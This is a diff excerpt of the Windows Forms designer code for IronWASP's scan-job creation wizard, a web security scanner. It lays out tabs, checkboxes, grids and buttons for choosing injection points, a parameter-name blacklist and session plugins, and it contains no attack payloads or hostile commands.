17); - this.ScanHeadersParameterNameCB.TabIndex = 4; - this.ScanHeadersParameterNameCB.Text = "Headers Parameter Name"; - this.ScanHeadersParameterNameCB.UseVisualStyleBackColor = true; - this.ScanHeadersParameterNameCB.Click += new System.EventHandler(this.ScanHeadersParameterNameCB_Click); - // - // ScanCookieParameterNameCB - // - this.ScanCookieParameterNameCB.AutoSize = true; - this.ScanCookieParameterNameCB.Location = new System.Drawing.Point(20, 133); - this.ScanCookieParameterNameCB.Name = "ScanCookieParameterNameCB"; - this.ScanCookieParameterNameCB.Size = new System.Drawing.Size(141, 17); - this.ScanCookieParameterNameCB.TabIndex = 3; - this.ScanCookieParameterNameCB.Text = "Cookie Parameter Name"; - this.ScanCookieParameterNameCB.UseVisualStyleBackColor = true; - this.ScanCookieParameterNameCB.Click += new System.EventHandler(this.ScanCookieParameterNameCB_Click); - // - // ScanBodyParameterNameCB - // - this.ScanBodyParameterNameCB.AutoSize = true; - this.ScanBodyParameterNameCB.Location = new System.Drawing.Point(20, 110); - this.ScanBodyParameterNameCB.Name = "ScanBodyParameterNameCB"; - this.ScanBodyParameterNameCB.Size = new System.Drawing.Size(132, 17); - this.ScanBodyParameterNameCB.TabIndex = 2; - this.ScanBodyParameterNameCB.Text = "Body Parameter Name"; - this.ScanBodyParameterNameCB.UseVisualStyleBackColor = true; - this.ScanBodyParameterNameCB.Click += new System.EventHandler(this.ScanBodyParameterNameCB_Click); - // - // ScanQueryParameterNameCB - // - this.ScanQueryParameterNameCB.AutoSize = true; - this.ScanQueryParameterNameCB.Location = new System.Drawing.Point(20, 87); - this.ScanQueryParameterNameCB.Name = "ScanQueryParameterNameCB"; - this.ScanQueryParameterNameCB.Size = new System.Drawing.Size(136, 17); - this.ScanQueryParameterNameCB.TabIndex = 1; - this.ScanQueryParameterNameCB.Text = "Query Parameter Name"; - this.ScanQueryParameterNameCB.UseVisualStyleBackColor = true; - this.ScanQueryParameterNameCB.Click += new System.EventHandler(this.ScanQueryParameterNameCB_Click); - // - // BlackListTab - // - this.BlackListTab.Controls.Add(this.textBox8); - this.BlackListTab.Controls.Add(this.textBox7); - this.BlackListTab.Controls.Add(this.ParametersBlacklistTB); - this.BlackListTab.Location = new System.Drawing.Point(4, 22); - this.BlackListTab.Name = "BlackListTab"; - this.BlackListTab.Size = new System.Drawing.Size(863, 394); - this.BlackListTab.TabIndex = 7; - this.BlackListTab.Text = "Parameters Black-list"; - this.BlackListTab.UseVisualStyleBackColor = true; - // - // textBox8 - // - this.textBox8.BackColor = System.Drawing.Color.White; - this.textBox8.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.textBox8.ForeColor = System.Drawing.Color.Gray; - this.textBox8.Location = new System.Drawing.Point(290, 122); - this.textBox8.Multiline = true; - this.textBox8.Name = "textBox8"; - this.textBox8.ReadOnly = true; - this.textBox8.Size = new System.Drawing.Size(271, 57); - this.textBox8.TabIndex = 13; - this.textBox8.Text = "Add one parameter name per line. Blank space at the start and end of parameter na" + - "mes are stripped away.\r\n"; - // - // textBox7 - // - this.textBox7.BackColor = System.Drawing.Color.White; - this.textBox7.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.textBox7.Dock = System.Windows.Forms.DockStyle.Top; - this.textBox7.Location = new System.Drawing.Point(0, 0); - this.textBox7.Multiline = true; - this.textBox7.Name = "textBox7"; - this.textBox7.ReadOnly = true; - this.textBox7.Size = new System.Drawing.Size(863, 116); - this.textBox7.TabIndex = 12; - this.textBox7.Text = resources.GetString("textBox7.Text"); - // - // ParametersBlacklistTB - // - this.ParametersBlacklistTB.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; - this.ParametersBlacklistTB.Location = new System.Drawing.Point(9, 122); - this.ParametersBlacklistTB.Multiline = true; - this.ParametersBlacklistTB.Name = "ParametersBlacklistTB"; - this.ParametersBlacklistTB.Size = new System.Drawing.Size(275, 265); - this.ParametersBlacklistTB.TabIndex = 0; - this.ParametersBlacklistTB.TextChanged += new System.EventHandler(this.ParametersBlacklistTB_TextChanged); - // - // CustomizeTab - // - this.CustomizeTab.Controls.Add(this.SessionPluginsCombo); - this.CustomizeTab.Controls.Add(this.ScanThreadLimitCB); - this.CustomizeTab.Controls.Add(this.LaunchSessionPluginCreationAssistantLL); - this.CustomizeTab.Controls.Add(this.RefreshSessListLL); - this.CustomizeTab.Controls.Add(this.textBox2); - this.CustomizeTab.Controls.Add(this.label11); - this.CustomizeTab.Controls.Add(this.Step3StatusTB); - this.CustomizeTab.Controls.Add(this.StepFourPreviousBtn); - this.CustomizeTab.Controls.Add(this.FinalBtn); - this.CustomizeTab.Location = new System.Drawing.Point(4, 25); - this.CustomizeTab.Name = "CustomizeTab"; - this.CustomizeTab.Padding = new System.Windows.Forms.Padding(5); - this.CustomizeTab.Size = new System.Drawing.Size(876, 532); - this.CustomizeTab.TabIndex = 3; - this.CustomizeTab.Text = " Customize Scan "; - this.CustomizeTab.UseVisualStyleBackColor = true; - // - // SessionPluginsCombo - // - this.SessionPluginsCombo.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.SessionPluginsCombo.FormattingEnabled = true; - this.SessionPluginsCombo.Location = new System.Drawing.Point(386, 120); - this.SessionPluginsCombo.Name = "SessionPluginsCombo"; - this.SessionPluginsCombo.Size = new System.Drawing.Size(336, 21); - this.SessionPluginsCombo.TabIndex = 166; - // - // ScanThreadLimitCB - // - this.ScanThreadLimitCB.AutoSize = true; - this.ScanThreadLimitCB.Checked = true; - this.ScanThreadLimitCB.CheckState = System.Windows.Forms.CheckState.Checked; - this.ScanThreadLimitCB.Location = new System.Drawing.Point(17, 149); - this.ScanThreadLimitCB.Name = "ScanThreadLimitCB"; - this.ScanThreadLimitCB.Size = new System.Drawing.Size(489, 17); - this.ScanThreadLimitCB.TabIndex = 165; - this.ScanThreadLimitCB.Text = "When a Session Plugin is selected, automatically set the Scan thread limit to one" + - ". (Recommended)"; - this.ScanThreadLimitCB.UseVisualStyleBackColor = true; - // - // LaunchSessionPluginCreationAssistantLL - // - this.LaunchSessionPluginCreationAssistantLL.AutoSize = true; - this.LaunchSessionPluginCreationAssistantLL.Location = new System.Drawing.Point(16, 59); - this.LaunchSessionPluginCreationAssistantLL.Name = "LaunchSessionPluginCreationAssistantLL"; - this.LaunchSessionPluginCreationAssistantLL.Size = new System.Drawing.Size(202, 13); - this.LaunchSessionPluginCreationAssistantLL.TabIndex = 164; - this.LaunchSessionPluginCreationAssistantLL.TabStop = true; - this.LaunchSessionPluginCreationAssistantLL.Text = "Launch Session Plugin Creation Assistant"; - this.LaunchSessionPluginCreationAssistantLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.LaunchSessionPluginCreationAssistantLL_LinkClicked); - // - // RefreshSessListLL - // - this.RefreshSessListLL.AutoSize = true; - this.RefreshSessListLL.Location = new System.Drawing.Point(728, 123); - this.RefreshSessListLL.Name = "RefreshSessListLL"; - this.RefreshSessListLL.Size = new System.Drawing.Size(140, 13); - this.RefreshSessListLL.TabIndex = 163; - this.RefreshSessListLL.TabStop = true; - this.RefreshSessListLL.Text = "Refresh Session Plugins List"; - this.RefreshSessListLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.RefreshSessListLL_LinkClicked); - // - // textBox2 - // - this.textBox2.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.textBox2.Location = new System.Drawing.Point(17, 12); - this.textBox2.Multiline = true; - this.textBox2.Name = "textBox2"; - this.textBox2.ReadOnly = true; - this.textBox2.Size = new System.Drawing.Size(798, 48); - this.textBox2.TabIndex = 162; - this.textBox2.TabStop = false; - this.textBox2.Text = resources.GetString("textBox2.Text"); - // - // label11 - // - this.label11.AutoSize = true; - this.label11.Location = new System.Drawing.Point(16, 123); - this.label11.Name = "label11"; - this.label11.Size = new System.Drawing.Size(367, 13); - this.label11.TabIndex = 161; - this.label11.Text = "If you want to use a Session Plugin for the scan then select one from this list:"; - // - // Step3StatusTB - // - this.Step3StatusTB.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) - | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.Step3StatusTB.BackColor = System.Drawing.SystemColors.Control; - this.Step3StatusTB.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.Step3StatusTB.Font = new System.Drawing.Font("Palatino Linotype", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.Step3StatusTB.ForeColor = System.Drawing.Color.Blue; - this.Step3StatusTB.Location = new System.Drawing.Point(235, 413); - this.Step3StatusTB.Multiline = true; - this.Step3StatusTB.Name = "Step3StatusTB"; - this.Step3StatusTB.Size = new System.Drawing.Size(628, 50); - this.Step3StatusTB.TabIndex = 20; - this.Step3StatusTB.TabStop = false; - // - // StepFourPreviousBtn - // - this.StepFourPreviousBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); - this.StepFourPreviousBtn.Location = new System.Drawing.Point(11, 497); - this.StepFourPreviousBtn.Name = "StepFourPreviousBtn"; - this.StepFourPreviousBtn.Size = new System.Drawing.Size(105, 23); - this.StepFourPreviousBtn.TabIndex = 19; - this.StepFourPreviousBtn.Text = "<-Previous Step"; - this.StepFourPreviousBtn.UseVisualStyleBackColor = true; - this.StepFourPreviousBtn.Click += new System.EventHandler(this.StepFourPreviousBtn_Click); - // - // FinalBtn - // - this.FinalBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); - this.FinalBtn.Location = new System.Drawing.Point(737, 484); - this.FinalBtn.Name = "FinalBtn"; - this.FinalBtn.Size = new System.Drawing.Size(126, 35); - this.FinalBtn.TabIndex = 16; - this.FinalBtn.Text = "Start Scan"; - this.FinalBtn.UseVisualStyleBackColor = true; - this.FinalBtn.Click += new System.EventHandler(this.FinalBtn_Click); - // - // StartScanJobWizard - // - this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); - this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; - this.ClientSize = new System.Drawing.Size(884, 561); - this.Controls.Add(this.BaseTabs); - this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); - this.MaximumSize = new System.Drawing.Size(900, 600); - this.MinimumSize = new System.Drawing.Size(900, 600); - this.Name = "StartScanJobWizard"; - this.Text = "Scan Job Creation Wizard"; - this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.StartScanJobWizard_FormClosing); - this.Load += new System.EventHandler(this.StartScanJobWizard_Load); - this.BaseTabs.ResumeLayout(false); - this.RequestTab.ResumeLayout(false); - this.RequestTab.PerformLayout(); - this.RequestTabs.ResumeLayout(false); - this.tabPage20.ResumeLayout(false); - this.tabPage20.PerformLayout(); - this.tabPage21.ResumeLayout(false); - this.tabPage21.PerformLayout(); - this.ChecksTab.ResumeLayout(false); - this.ChecksTab.PerformLayout(); - ((System.ComponentModel.ISupportInitialize)(this.ScanPluginsGrid)).EndInit(); - this.InjectionTab.ResumeLayout(false); - this.InjectionTab.PerformLayout(); - this.InjectionPointBaseTabs.ResumeLayout(false); - this.AllTab.ResumeLayout(false); - this.AllTab.PerformLayout(); - this.panel7.ResumeLayout(false); - this.panel7.PerformLayout(); - this.panel6.ResumeLayout(false); - this.panel6.PerformLayout(); - this.panel4.ResumeLayout(false); - this.panel4.PerformLayout(); - this.panel3.ResumeLayout(false); - this.panel3.PerformLayout(); - this.panel1.ResumeLayout(false); - this.panel1.PerformLayout(); - this.URLTab.ResumeLayout(false); - ((System.ComponentModel.ISupportInitialize)(this.ScanURLGrid)).EndInit(); - this.QueryTab.ResumeLayout(false); - ((System.ComponentModel.ISupportInitialize)(this.ScanQueryGrid)).EndInit(); - this.BodyTab.ResumeLayout(false); - this.BodyTab.PerformLayout(); - this.BodyInjectTypeTabs.ResumeLayout(false); - this.BodyTypeNormalTab.ResumeLayout(false); - ((System.ComponentModel.ISupportInitialize)(this.ScanBodyTypeNormalGrid)).EndInit(); - this.BodyTypeFormatPluginTab.ResumeLayout(false); - this.ASRequestBodyTabSplit.Panel1.ResumeLayout(false); - this.ASRequestBodyTabSplit.Panel2.ResumeLayout(false); - this.ASRequestBodyTabSplit.ResumeLayout(false); - ((System.ComponentModel.ISupportInitialize)(this.FormatPluginsGrid)).EndInit(); - this.ScanBodyFormatPluginTypeTabs.ResumeLayout(false); - this.BodyTypeFormatPluginInjectionArrayGridTab.ResumeLayout(false); - ((System.ComponentModel.ISupportInitialize)(this.BodyTypeFormatPluginGrid)).EndInit(); - this.BodyTypeFormatPluginXMLTab.ResumeLayout(false); - this.BodyTypeFormatPluginXMLTab.PerformLayout(); - this.BodyTypeCustomTab.ResumeLayout(false); - this.BodyTypeCustomTab.PerformLayout(); - this.CustomInjectionMarkerTabs.ResumeLayout(false); - this.CustomMarkerSelectionTab.ResumeLayout(false); - this.CustomMarkerDisplayTab.ResumeLayout(false); - this.CustomMarkerEscapingTab.ResumeLayout(false); - this.CustomMarkerEscapingTab.PerformLayout(); - ((System.ComponentModel.ISupportInitialize)(this.CharacterEscapingGrid)).EndInit(); - this.CharacterEscapingMenu.ResumeLayout(false); - this.CookieTab.ResumeLayout(false); - ((System.ComponentModel.ISupportInitialize)(this.ScanCookieGrid)).EndInit(); - this.HeadersTab.ResumeLayout(false); - ((System.ComponentModel.ISupportInitialize)(this.ScanHeadersGrid)).EndInit(); - this.ParameterNamesTab.ResumeLayout(false); - this.ParameterNamesTab.PerformLayout(); - this.BlackListTab.ResumeLayout(false); - this.BlackListTab.PerformLayout(); - this.CustomizeTab.ResumeLayout(false); - this.CustomizeTab.PerformLayout(); - this.ResumeLayout(false); - - } - - #endregion - - private System.Windows.Forms.TabControl BaseTabs; - private System.Windows.Forms.TabPage RequestTab; - private System.Windows.Forms.TabPage ChecksTab; - private System.Windows.Forms.TabPage InjectionTab; - private System.Windows.Forms.TabPage CustomizeTab; - internal System.Windows.Forms.TabControl RequestTabs; - private System.Windows.Forms.TabPage tabPage20; - internal IronDataView.IronDataView RequestRawHeadersIDV; - private System.Windows.Forms.TabPage tabPage21; - internal IronDataView.IronDataView RequestRawBodyIDV; - internal System.Windows.Forms.DataGridView ScanPluginsGrid; - private System.Windows.Forms.DataGridViewCheckBoxColumn dataGridViewCheckBoxColumn9; - private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn27; - internal System.Windows.Forms.TabControl InjectionPointBaseTabs; - private System.Windows.Forms.TabPage URLTab; - internal System.Windows.Forms.DataGridView ScanURLGrid; - private System.Windows.Forms.DataGridViewCheckBoxColumn ASRequestURLSelectColumn; - private System.Windows.Forms.DataGridViewTextBoxColumn ASRequestURLPositionColumn; - private System.Windows.Forms.DataGridViewTextBoxColumn ASRequestURLValueColumn; - private System.Windows.Forms.TabPage QueryTab; - private System.Windows.Forms.DataGridViewCheckBoxColumn ASRequestQuerySelectColumn; - private System.Windows.Forms.DataGridViewTextBoxColumn ASRequestQueryNameColumn; - private System.Windows.Forms.DataGridViewTextBoxColumn ASRequestQueryValueColumn; - private System.Windows.Forms.TabPage BodyTab; - internal System.Windows.Forms.RadioButton BodyTypeCustomRB; - internal System.Windows.Forms.RadioButton BodyTypeFormatPluginRB; - internal System.Windows.Forms.RadioButton BodyTypeNormalRB; - private System.Windows.Forms.Label label35; - internal System.Windows.Forms.TabControl BodyInjectTypeTabs; - private System.Windows.Forms.TabPage BodyTypeNormalTab; - internal System.Windows.Forms.DataGridView ScanBodyTypeNormalGrid; - private System.Windows.Forms.DataGridViewCheckBoxColumn dataGridViewCheckBoxColumn1; - private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn15; - private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn16; - private System.Windows.Forms.TabPage BodyTypeFormatPluginTab; - private System.Windows.Forms.SplitContainer ASRequestBodyTabSplit; - internal System.Windows.Forms.DataGridView FormatPluginsGrid; - private System.Windows.Forms.DataGridViewCheckBoxColumn ASRequestBodyDataFormatSelectColumn; - private System.Windows.Forms.DataGridViewTextBoxColumn ASRequestBodyDataFormatColumn; - internal System.Windows.Forms.TabControl ScanBodyFormatPluginTypeTabs; - private System.Windows.Forms.TabPage BodyTypeFormatPluginInjectionArrayGridTab; - internal System.Windows.Forms.DataGridView BodyTypeFormatPluginGrid; - private System.Windows.Forms.DataGridViewCheckBoxColumn ASRequestBodySelectColumn; - private System.Windows.Forms.DataGridViewTextBoxColumn ASRequestBodyNameColumn; - private System.Windows.Forms.DataGridViewTextBoxColumn ASRequestBodyValueColumn; - private System.Windows.Forms.TabPage BodyTypeFormatPluginXMLTab; - internal System.Windows.Forms.TextBox FormatXMLTB; - private System.Windows.Forms.TabPage BodyTypeCustomTab; - internal System.Windows.Forms.TabControl CustomInjectionMarkerTabs; - private System.Windows.Forms.TabPage CustomMarkerSelectionTab; - private System.Windows.Forms.TextBox textBox3; - private System.Windows.Forms.Label label37; - internal System.Windows.Forms.TextBox CustomEndMarkerTB; - private System.Windows.Forms.LinkLabel ASApplyCustomMarkersLL; - private System.Windows.Forms.Label label39; - private System.Windows.Forms.Label label38; - internal System.Windows.Forms.TextBox CustomStartMarkerTB; - private System.Windows.Forms.TabPage CustomMarkerDisplayTab; - internal System.Windows.Forms.RichTextBox HighlightCustomInjectionPointsRTB; - internal System.Windows.Forms.Label CustomInjectionPointsHighlightLbl; - private System.Windows.Forms.TabPage CookieTab; - internal System.Windows.Forms.DataGridView ScanCookieGrid; - private System.Windows.Forms.DataGridViewCheckBoxColumn ASRequestCookieSelectColumn; - private System.Windows.Forms.DataGridViewTextBoxColumn ASRequestCookieNameColumn; - private System.Windows.Forms.DataGridViewTextBoxColumn ASRequestCookieValueColumn; - private System.Windows.Forms.TabPage HeadersTab; - internal System.Windows.Forms.DataGridView ScanHeadersGrid; - private System.Windows.Forms.DataGridViewCheckBoxColumn ASRequestHeadersSelectColumn; - private System.Windows.Forms.DataGridViewTextBoxColumn ASRequestHeadersNameColumn; - private System.Windows.Forms.DataGridViewTextBoxColumn ASRequestHeadersValueColumn; - private System.Windows.Forms.TabPage ParameterNamesTab; - private System.Windows.Forms.TextBox textBox1; - private System.Windows.Forms.CheckBox ScanHeadersParameterNameCB; - private System.Windows.Forms.CheckBox ScanCookieParameterNameCB; - private System.Windows.Forms.CheckBox ScanBodyParameterNameCB; - private System.Windows.Forms.CheckBox ScanQueryParameterNameCB; - private System.Windows.Forms.Button StepOneNextBtn; - private System.Windows.Forms.Button StepTwoPreviousBtn; - private System.Windows.Forms.Button StepTwoNextBtn; - private System.Windows.Forms.Button StepThreePreviousBtn; - private System.Windows.Forms.Button StepThreeNextBtn; - private System.Windows.Forms.Button FinalBtn; - private System.Windows.Forms.TextBox Step0TopMsgTB; - private System.Windows.Forms.Button CancelBtn; - private System.Windows.Forms.TextBox Step1TopMsgTB; - private System.Windows.Forms.TextBox Step2TopMsgTB; - private System.Windows.Forms.TabPage AllTab; - private System.Windows.Forms.TabPage BlackListTab; - private System.Windows.Forms.CheckBox UseBlackListCB; - internal System.Windows.Forms.CheckBox ScanParameterNamesCB; - internal System.Windows.Forms.CheckBox ScanHeadersCB; - internal System.Windows.Forms.CheckBox ScanCookieCB; - internal System.Windows.Forms.CheckBox ScanURLCB; - internal System.Windows.Forms.CheckBox ScanBodyCB; - internal System.Windows.Forms.CheckBox ScanQueryCB; - internal System.Windows.Forms.CheckBox ScanAllCB; - private System.Windows.Forms.Label label5; - private System.Windows.Forms.Label label3; - private System.Windows.Forms.Label label2; - private System.Windows.Forms.Label UrlPathPartInjectionMessageLbl; - private System.Windows.Forms.Panel panel1; - private System.Windows.Forms.Label BodyInjectionMessageLbl; - private System.Windows.Forms.Label AllHeaderPointsSelectedLbl; - private System.Windows.Forms.Label AllHeaderPointsAvlLbl; - private System.Windows.Forms.Label AllCookiePointsSelectedLbl; - private System.Windows.Forms.Label AllCookiePointsAvlLbl; - private System.Windows.Forms.Label AllBodyPointsSelectedLbl; - private System.Windows.Forms.Label AllBodyPointsAvlLbl; - private System.Windows.Forms.Label AllQueryPointsSelectedLbl; - private System.Windows.Forms.Label AllQueryPointsAvlLbl; - private System.Windows.Forms.Label AllUrlPointsSelectedLbl; - private System.Windows.Forms.Label AllUrlPointsAvlLbl; - private System.Windows.Forms.Label AllPointsSelectedLbl; - private System.Windows.Forms.Label AllPointsAvlLbl; - private System.Windows.Forms.Label label19; - private System.Windows.Forms.Label BlacklistItemsCountLbl; - private System.Windows.Forms.TextBox textBox7; - private System.Windows.Forms.TextBox ParametersBlacklistTB; - private System.Windows.Forms.TextBox textBox8; - private System.Windows.Forms.Button StepFourPreviousBtn; - private System.Windows.Forms.CheckBox RequestSSLCB; - internal System.Windows.Forms.TextBox Step0StatusTB; - private System.Windows.Forms.CheckBox SelectAllChecksCB; - internal System.Windows.Forms.TextBox Step1StatusTB; - private System.Windows.Forms.Panel panel3; - private System.Windows.Forms.Panel panel7; - private System.Windows.Forms.Panel panel6; - private System.Windows.Forms.Panel panel4; - private System.Windows.Forms.Label AllNamesPointsAvlLbl; - private System.Windows.Forms.Label AllNamesPointsSelectedLbl; - internal System.Windows.Forms.TextBox Step2StatusTB; - private System.Windows.Forms.ProgressBar Step2ProgressBar; - internal System.Windows.Forms.Label label7; - internal System.Windows.Forms.DataGridView ScanQueryGrid; - internal System.Windows.Forms.TextBox Step3StatusTB; - private System.Windows.Forms.TabPage CustomMarkerEscapingTab; - internal System.Windows.Forms.DataGridView CharacterEscapingGrid; - private System.Windows.Forms.Label label6; - private System.Windows.Forms.Label label1; - private System.Windows.Forms.TextBox textBox12; - private System.Windows.Forms.TextBox EncodedCharacterTB; - private System.Windows.Forms.TextBox RawCharacterTB; - private System.Windows.Forms.Button AddToEscapeRuleBtn; - private System.Windows.Forms.Label label8; - private System.Windows.Forms.Label label9; - internal System.Windows.Forms.TextBox CharacterEscapingStatusTB; - private System.Windows.Forms.ContextMenuStrip CharacterEscapingMenu; - private System.Windows.Forms.ToolStripMenuItem EditRuleToolStripMenuItem; - private System.Windows.Forms.ToolStripMenuItem DeleteRuleToolStripMenuItem; - private System.Windows.Forms.DataGridViewCheckBoxColumn EscapingSelectColumn; - private System.Windows.Forms.DataGridViewTextBoxColumn RawCharacterColumn; - private System.Windows.Forms.DataGridViewTextBoxColumn ArrowColumn; - private System.Windows.Forms.DataGridViewTextBoxColumn EncodedCharacterColumn; - private System.Windows.Forms.Label label10; - private System.Windows.Forms.LinkLabel PlaceInjectionMarkerLL; - private SearchableTextBox SetCustomInjectionPointsSTB; - private System.Windows.Forms.CheckBox ScanThreadLimitCB; - private System.Windows.Forms.LinkLabel LaunchSessionPluginCreationAssistantLL; - private System.Windows.Forms.LinkLabel RefreshSessListLL; - private System.Windows.Forms.TextBox textBox2; - private System.Windows.Forms.Label label11; - internal System.Windows.Forms.ComboBox SessionPluginsCombo; - - } +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +namespace IronWASP +{ + partial class StartScanJobWizard + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.components = new System.ComponentModel.Container(); + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(StartScanJobWizard)); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle1 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle2 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle3 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle4 = new System.Windows.Forms.DataGridViewCellStyle(); + this.BaseTabs = new System.Windows.Forms.TabControl(); + this.RequestTab = new System.Windows.Forms.TabPage(); + this.Step0StatusTB = new System.Windows.Forms.TextBox(); + this.RequestSSLCB = new System.Windows.Forms.CheckBox(); + this.CancelBtn = new System.Windows.Forms.Button(); + this.Step0TopMsgTB = new System.Windows.Forms.TextBox(); + this.StepOneNextBtn = new System.Windows.Forms.Button(); + this.RequestTabs = new System.Windows.Forms.TabControl(); + this.tabPage20 = new System.Windows.Forms.TabPage(); + this.RequestRawHeadersIDV = new IronDataView.IronDataView(); + this.tabPage21 = new System.Windows.Forms.TabPage(); + this.RequestRawBodyIDV = new IronDataView.IronDataView(); + this.ChecksTab = new System.Windows.Forms.TabPage(); + this.Step1StatusTB = new System.Windows.Forms.TextBox(); + this.SelectAllChecksCB = new System.Windows.Forms.CheckBox(); + this.Step1TopMsgTB = new System.Windows.Forms.TextBox(); + this.StepTwoPreviousBtn = new System.Windows.Forms.Button(); + this.StepTwoNextBtn = new System.Windows.Forms.Button(); + this.ScanPluginsGrid = new System.Windows.Forms.DataGridView(); + this.dataGridViewCheckBoxColumn9 = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.dataGridViewTextBoxColumn27 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.InjectionTab = new System.Windows.Forms.TabPage(); + this.Step2StatusTB = new System.Windows.Forms.TextBox(); + this.Step2ProgressBar = new System.Windows.Forms.ProgressBar(); + this.Step2TopMsgTB = new System.Windows.Forms.TextBox(); + this.StepThreePreviousBtn = new System.Windows.Forms.Button(); + this.StepThreeNextBtn = new System.Windows.Forms.Button(); + this.InjectionPointBaseTabs = new System.Windows.Forms.TabControl(); + this.AllTab = new System.Windows.Forms.TabPage(); + this.ScanHeadersCB = new System.Windows.Forms.CheckBox(); + this.AllHeaderPointsAvlLbl = new System.Windows.Forms.Label(); + this.panel7 = new System.Windows.Forms.Panel(); + this.ScanQueryCB = new System.Windows.Forms.CheckBox(); + this.AllQueryPointsAvlLbl = new System.Windows.Forms.Label(); + this.AllQueryPointsSelectedLbl = new System.Windows.Forms.Label(); + this.AllHeaderPointsSelectedLbl = new System.Windows.Forms.Label(); + this.panel6 = new System.Windows.Forms.Panel(); + this.ScanAllCB = new System.Windows.Forms.CheckBox(); + this.AllPointsAvlLbl = new System.Windows.Forms.Label(); + this.AllPointsSelectedLbl = new System.Windows.Forms.Label(); + this.panel4 = new System.Windows.Forms.Panel(); + this.ScanCookieCB = new System.Windows.Forms.CheckBox(); + this.AllCookiePointsAvlLbl = new System.Windows.Forms.Label(); + this.AllCookiePointsSelectedLbl = new System.Windows.Forms.Label(); + this.panel3 = new System.Windows.Forms.Panel(); + this.AllNamesPointsAvlLbl = new System.Windows.Forms.Label(); + this.ScanParameterNamesCB = new System.Windows.Forms.CheckBox(); + this.AllNamesPointsSelectedLbl = new System.Windows.Forms.Label(); + this.AllBodyPointsSelectedLbl = new System.Windows.Forms.Label(); + this.AllBodyPointsAvlLbl = new System.Windows.Forms.Label(); + this.AllUrlPointsSelectedLbl = new System.Windows.Forms.Label(); + this.AllUrlPointsAvlLbl = new System.Windows.Forms.Label(); + this.BodyInjectionMessageLbl = new System.Windows.Forms.Label(); + this.panel1 = new System.Windows.Forms.Panel(); + this.BlacklistItemsCountLbl = new System.Windows.Forms.Label(); + this.label19 = new System.Windows.Forms.Label(); + this.UseBlackListCB = new System.Windows.Forms.CheckBox(); + this.label5 = new System.Windows.Forms.Label(); + this.label3 = new System.Windows.Forms.Label(); + this.label2 = new System.Windows.Forms.Label(); + this.UrlPathPartInjectionMessageLbl = new System.Windows.Forms.Label(); + this.ScanURLCB = new System.Windows.Forms.CheckBox(); + this.ScanBodyCB = new System.Windows.Forms.CheckBox(); + this.URLTab = new System.Windows.Forms.TabPage(); + this.ScanURLGrid = new System.Windows.Forms.DataGridView(); + this.ASRequestURLSelectColumn = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.ASRequestURLPositionColumn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ASRequestURLValueColumn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.QueryTab = new System.Windows.Forms.TabPage(); + this.ScanQueryGrid = new System.Windows.Forms.DataGridView(); + this.ASRequestQuerySelectColumn = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.ASRequestQueryNameColumn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ASRequestQueryValueColumn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.BodyTab = new System.Windows.Forms.TabPage(); + this.BodyTypeCustomRB = new System.Windows.Forms.RadioButton(); + this.BodyTypeFormatPluginRB = new System.Windows.Forms.RadioButton(); + this.BodyTypeNormalRB = new System.Windows.Forms.RadioButton(); + this.label35 = new System.Windows.Forms.Label(); + this.BodyInjectTypeTabs = new System.Windows.Forms.TabControl(); + 